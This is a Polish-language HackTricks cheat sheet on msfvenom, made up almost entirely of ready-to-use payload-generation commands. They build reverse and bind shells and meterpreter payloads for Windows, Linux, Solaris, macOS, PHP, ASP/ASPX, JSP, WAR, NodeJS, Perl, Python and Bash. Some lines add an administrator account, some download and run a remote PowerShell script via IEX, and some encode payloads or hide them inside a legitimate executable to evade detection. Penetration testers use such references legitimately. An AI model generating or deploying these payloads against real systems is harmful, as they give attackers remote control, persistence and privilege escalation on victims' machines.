hacktricks/generic-methodologies-and-resources/shells/msfvenom.md
2024-02-11 01:46:25 +00:00

10 KiB

MSFVenom - Przegląd

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami nagród za błędy!

Spostrzeżenia dotyczące hakerstwa
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania hakerstwa

Aktualności na żywo z hakerstwa
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnym wiadomościom i spostrzeżeniom

Najnowsze ogłoszenia
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy

Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!


Podstawowe użycie msfvenom

msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>

Można również użyć -a do określenia architektury lub --platform

Lista

msfvenom -l payloads #Payloads
msfvenom -l encoders #Encoders

Wspólne parametry podczas tworzenia shellcode

Podczas tworzenia shellcode istnieje kilka wspólnych parametrów, które można dostosować do naszych potrzeb. Poniżej przedstawiam kilka z nich:

  • -p lub --payload: Określa rodzaj payloadu, który chcemy użyć. Na przykład windows/meterpreter/reverse_tcp lub linux/x86/shell_reverse_tcp.

  • -f lub --format: Określa format wyjściowy shellcode. Może to być raw, c, exe, elf, dll lub msi.

  • -e lub --encoder: Określa kodowanie, które ma być użyte do ukrycia shellcode. Na przykład x86/shikata_ga_nai lub x86/jmp_call_additive.

  • -b lub --bad-chars: Określa listę niedozwolonych znaków, które należy unikać w shellcode.

  • -i lub --iterations: Określa liczbę iteracji, które mają być wykonane przez kodowanie.

  • -s lub --space: Określa ilość dostępnego miejsca w pamięci, które może być użyte przez shellcode.

  • -a lub --arch: Określa architekturę, dla której ma być stworzony shellcode. Na przykład x86, x64 lub armle.

  • -o lub --out: Określa ścieżkę do pliku wyjściowego, w którym zostanie zapisany shellcode.

  • -v lub --var-name: Określa nazwę zmiennej, do której zostanie przypisany shellcode w języku C.

  • -x lub --template: Określa plik szablonu, który ma być użyty do wygenerowania shellcode.

  • -k lub --keep: Pozwala zachować plik wykonywalny, który został użyty do wygenerowania shellcode.

  • -h lub --help: Wyświetla pomoc dotyczącą dostępnych parametrów.

Pamiętaj, że te parametry mogą się różnić w zależności od narzędzia, które używasz do tworzenia shellcode.

-b "\x00\x0a\x0d"
-f c
-e x86/shikata_ga_nai -i 5
EXITFUNC=thread
PrependSetuid=True #Use this to create a shellcode that will execute something with SUID

Windows

Odwrócona powłoka

{% code overflow="wrap" %}

msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe

Powiązanie powłoki (Bind Shell)

{% code overflow="wrap" %}

msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe

{% code overflow="wrap" %}

Utwórz użytkownika

{% code %}

msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe

{% code overflow="wrap" %}

Powłoka CMD

{% code %}

msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe

{% code overflow="wrap" %}

Wykonaj polecenie

{% code %}

msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe

{% endcode %}

Kodowanie

{% code overflow="wrap" %}

msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe

{% endcode %}

Osadzone wewnątrz pliku wykonywalnego

{% code overflow="wrap" %}

msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe

{% endcode %}

Linuxowe Payloady

Odwrócony Shell

{% code overflow="wrap" %}

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf

Powiązanie powłoki (Bind Shell)

{% code overflow="wrap" %}

msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf

{% endcode %}

SunOS (Solaris)

{% code overflow="wrap" %}

msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf

{% endcode %}

Payloady dla systemu MAC

Odwrócona powłoka:

{% code overflow="wrap" %}

msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho

Bind Shell

{% code overflow="wrap" %}

msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho

{% endcode %}

Payloady oparte na sieci

PHP

Odwrócony shell

{% code overflow="wrap" %}

msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

{% endcode %}

ASP/x

Odwrócony shell

{% code overflow="wrap" %}

msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx

{% endcode %}

JSP

Odwrócony shell

{% code overflow="wrap" %}

msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp

{% endcode %}

WAR

Odwrócony Shell

{% code overflow="wrap" %}

msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war

{% code %}

NodeJS

msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)

Skrypty w języku

Perl

{% code overflow="wrap" %}

msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl

{% endcode %}

Python

{% code overflow="wrap" %}

msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py

{% endcode %}

Bash

{% code overflow="wrap" %}

msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh

{% endcode %}

Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami błędów!

Wgląd w hakerstwo
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania hakerstwa.

Aktualności o hakerstwie na żywo
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnym wiadomościom i wglądom.

Najnowsze ogłoszenia
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy.

Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!

Naucz się hakerstwa AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: